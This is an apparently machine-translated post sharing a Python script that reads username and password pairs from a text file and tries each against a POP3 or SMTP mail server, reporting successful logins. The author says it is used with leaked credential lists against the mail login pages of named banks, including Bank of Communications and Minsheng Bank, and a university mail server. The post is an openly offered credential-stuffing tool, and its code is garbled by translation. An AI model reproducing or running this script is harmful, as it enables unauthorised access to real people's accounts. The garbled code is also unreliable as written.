#coding=gb2312#Make sure Python supports Chinese annotations#Enter email address, password and POP3 server address:ImportPoplibImportSmtplibImportSYSdefChecksmtppassword (Smtp_server,username,password):Try: Server= Smtplib. SMTP (Smtp_server, 25)#SMTP protocol default port is 25 the domain name cannot be resolved here, and an exception login failure is thrown #Server.set_debuglevel (2)server.login (username, password)except: Print 'Login not successful' Else: Print 'Login Successful'defCheckpop3password (Pop3_server,username,password):Try: Server=Poplib. POP3 (Pop3_server)#Server.set_debuglevel (2)Server.user (username) server.pass_ (password)exceptexception,e:Print 'Login not successful' Else: Print 'Login Successful'server.quit ()defOpen_check_password_user (file_path,server_ip,user_num,pass_num,mode): Mail_server=server_ip F=Open (file_path) each_line=F.readline () whileEach_line:each_line=each_line.strip ('\ n')#Remove line breakList = Each_line.split ()#list here is the array #Print List[0]password=list[Int (pass_num)] Username=list[Int (user_num)]Printlist[Int (user_num)]Printlist[Int (pass_num)]ifmode=='POP3': Checkpop3password (Mail_server,username,password)ifmode=='SMTP': Checksmtppassword (mail_server,username,password) each_line=F.readline ()if __name__=='__main__': Print 'mail_check.py nefu.txt pop.nefu.edu.cn user_num pass_num mode' Print 'mail_check.py nefu.txt pop.nefu.edu.cn 2 1 pop3/smtp'Open_check_password_user (sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])
The company's business needs, this period of time to do things the web is mostly.
The above script, with a TXT can be fully automatic to the Bank of communications, such as Minsheng Bank, such as exposure to external mailbox login interface and other sensitive industry manufacturers to test the crash.
It took me half a day to write. The effect is good, post it to share, and then improve
Support Smtp/imap smtp/pop3 python crash library script